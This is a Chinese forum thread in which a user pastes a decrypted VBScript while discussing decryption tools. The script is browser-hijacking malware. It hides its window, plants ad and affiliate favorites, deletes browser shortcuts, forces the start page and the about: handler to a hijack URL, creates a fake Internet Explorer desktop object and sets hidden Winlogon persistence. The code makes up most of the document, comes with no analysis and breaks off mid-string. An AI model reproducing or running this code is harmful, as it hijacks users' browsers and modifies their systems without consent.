回复 2楼 Lgwu 的帖子
谢谢，刚才在线解了下。我没玩过加密解密。
<script language=VBScript>
on error resume next
window.moveTo 4000,4000
window.resizeTo 0,0
dim objIe
set objIe=createobject("InternetExplorer.Application")
objIe.navigate "http://www.yftk.cc/?2011"
objIe.visible=True
Function GetDrive()
on error resume next
set fso = createobject("scripting.filesystemobject")
GetDrive=fso.getdrivename(fso.getspecialfolder(WindowsFolder))
if GetDrive<>"" and instr(GetDrive,":")<>0 then
Exit Function
End if
GetDrive="C:"
End Function
'//FSO
Set FSO = CreateObject("scripting.filesystemobject")
'//Get all use path
Set WshShell = CreateObject("WScript.Shell")
'//Desktop All Users
strAllDesk=GetDrive & "\Documents and Settings\All Users\桌面\"
'//Desktop
strDesktop = WshShell.SpecialFolders("Desktop")
'//Quick start
strQuick=WshShell.ExpandEnvironmentStrings("%APPDATA%") & "\Microsoft\Internet Explorer\Quick Launch"
'//start AllUser
strStartmenu = WshShell.SpecialFolders("AllUsersStartMenu")
'//start admin
strStart=WshShell.SpecialFolders("Startup") & "\"
'//faver path
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(6)
Set objFolderItem = objFolder.Self
strDesktopFld = objFolderItem.Path & "\"
strDesktopFldd = objFolderItem.Path & "\链接\"
Function HideIE()
on error resume next
createobject("wscript.shell").Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}","1"
createobject("wscript.shell").Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}","1"
End Function
function SuperShell(strPath)
on error resume next
Set objSWbemServices = CreateObject("WbemScripting.SWbemLocator").ConnectServer()
Set objStartup = objSWbemServices.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 12
Set objSWbemObject = objSWbemServices.Get("Win32_Process")
errResult = objSWbemObject.Create(strPath, Null, objConfig, processId)
end function
function faver(a,b)
on error resume next
if FSO.FileExists(strDesktopFld & a & ".url")=false then
Set myfile=FSO.CreateTextFile( strDesktopFld & a & ".url" ,,ture)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=" & b
myfile.Close
end if
End function
function faverr(a,b)
on error resume next
if FSO.FileExists(strDesktopFldd & a & ".url")=false then
Set myfile=FSO.CreateTextFile( strDesktopFldd & a & ".url" ,,ture)
myfile.WriteLine "[InternetShortcut]"
myfile.WriteLine "URL=" & b
myfile.Close
end if
End function
Function AddMyFaver()
on error resume next
faver "hao123网址之家","http://www.hao123.biz/?fav"
faver "2345网址大全","http://www.2355.cc/?fav"
faver "小游戏大全","http://www.djxyx.cn/"
faver "随机视频聊天","http://www.yftk.cc/?fav2"
faver "单机游戏之家","http://www.djyx.cn/"
faver "★淘宝网特卖会","http://www.admama.cn/t/"
faver "黄瓜电影网","http://www.huangguady.com/"
faver "当当网","http://union.dangdang.com/transfer/transfer.aspx?from=P-261907&backurl=http://www.dangdang.com/"
faver "异性交友中心","http://www.jiayuan.com/st/?id=5377&url=http://www.jiayuan.com/register/?style=2"
faver "彩票中奖查询","http://www.2caipiao.com/banner.jhtml?action=hotLottery&width=960&agentId=210019"
End Function
Function AddMyFaverr()
on error resume next
faverr "hao123网址之家","http://www.hao123.biz/?fav"
faverr "2345网址大全","http://www.2355.cc/?fav"
faverr "小游戏大全","http://www.djxyx.cn/"
faverr "随机视频聊天","http://www.yftk.cc/?fav2"
faverr "单机游戏之家","http://www.djyx.cn/"
faverr "★淘宝网特卖会","http://www.admama.cn/t/"
faverr "黄瓜电影网","http://www.huangguady.com/"
faverr "当当网","http://union.dangdang.com/transfer/transfer.aspx?from=P-261907&backurl=http://www.dangdang.com/"
faverr "异性交友中心","http://www.jiayuan.com/st/?id=5377&url=http://www.jiayuan.com/register/?style=2"
faverr "彩票中奖查询","http://www.2caipiao.com/banner.jhtml?action=hotLottery&width=960&agentId=210019"
End Function
function deletelnk(strPath)
on error resume next
For Each file In FSO.GetFolder(strPath).files
if right(lcase(file.name),3)="lnk" then
if instr(lcase(file.name),"internet")<>0 or instr(lcase(file.name),"世界之窗")<>0 or instr(lcase(file.name),"傲游浏览器")<>0 or instr(lcase(file.name),"mozilla firefox")<>0 or instr(lcase(file.name),"腾讯tt")<>0 or instr(lcase(file.name),"谷歌浏览器")<>0 or instr(lcase(file.name),"opera")<>0 then
FSO.DeleteFile strPath & "\" & file.name
end if
end if
if right(lcase(file.name),3)="url" then
FSO.DeleteFile strPath & "\" & file.name
end if
Next
end function
Function DeleteAllLnk()
on error resume next
deletelnk strQuick
deletelnk strDesktop
deletelnk strAllDesk
deletelnk strStartmenu
End Function
Sub create(path)
on error resume next
If fso.FolderExists(path) Then
Exit Sub
End If
If Not fso.FolderExists(fso.GetParentFolderName(path)) Then
create fso.GetParentFolderName(path)
End If
fso.CreateFolder(path)
End Sub
Function CreatMyIE()
on error resume next
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\","Internet Explorer"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\DefaultIcon\",GetDrive & "\Program Files\Internet Explorer\IEXPLORE.EXE"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Open(&H)\","打开主页(&H)"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Open(&H)\Command\",GetDrive & "\Program Files\Internet Explorer\IEXPLORE.EXE about:blank"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Z\","删除(&D)"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Z\Command\","Rundll32.exe"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\属性(&R)\Command\","Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\ShellFolder\Attributes",a,"REG_DWORD"
WshShell.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\krrPuter\","{78AE2D63-AB8A-9AD7-8888-86A33833C94B}"
End Function
Function MakeMyIE()
on error resume next
If sResult then:sMyKey=sKey:Else:sMyKey="http://www.ixmtz.info":End if
WshShell.Regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page",sMyKey
WshShell.Regwrite "HKEY_USERS\S-1-5-21-1177238915-1004336348-682003330-500\Software\Microsoft\Internet Explorer\Main\Start Page",sMyKey
End Function
Function FuckAboutBlank()
on error resume next
If sResult then:sMyKey=sKey:Else:sMyKey="http://www.ixmtz.info":End if
WshShell.Regwrite "HKEY_CLASSES_ROOT\about\URL Protocol",""
WshShell.Regwrite "HKEY_CLASSES_ROOT\about\shell\open\command\",GetDrive & "\Program Files\Internet Explorer\iexplore.exe " & sMyKey
WshShell.Regdelete "HKEY_CLASSES_ROOT\PROTOCOLS\Handler\about\"
End Function
Function AddMyRun(strExe,MyFolder,sRun)
on error resume next
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{3F92DA25-A429-7777-A754-4482C9B99C28}\IsShortCut",""
WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{3F92DA25-A429-7777-A754-4482C9B99C28}\shell\open(&H)\command\","mshta.exe " & strExe
WshShell.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe " & sRun
create sRun
Set myfile=FSO.CreateTextFile( sRun & "\desktop.ini",,ture)
myfile.WriteLine "[.ShellClassInfo]"
myfile.WriteLine "CLSID={3F92DA25-A429-7777-A754-4482C9B99C28}"
myfile.Close
SuperShell "attrib +s +h " & """" & MyFolder & """"
SuperShell "attrib +s +h " & """" & sRun & "\desktop.ini" & """"
SuperShell "attrib +s +h " & """" & sRun & """"
End Function
Function sResult()
a="0123456789":sTemp=mid(a,3,1) & mid(a,1,1) & mid(a,2,1) & mid(a,2,1):sTemp=sTemp & "-" & mid(a,2,1) & "-" & mid(a,2,1) & mid(a,3,1):b=DateDiff("d",sTemp,now):if b>=0 then:sResult=True:else:sResult=False:end if
End Function
Function sKey()
on error resume next
input0=" |
[复制链接]
发表于 2011-1-2 14:08:17
楼主
以前机子上有，刚才找了下米找到，不知道放在那里了。在线解密这些一般都有字数限制。
好的，好的。这类工具都是07年之前玩的。好久不用了，所以也不知道放在那个文件夹里面。等找到了PM你。
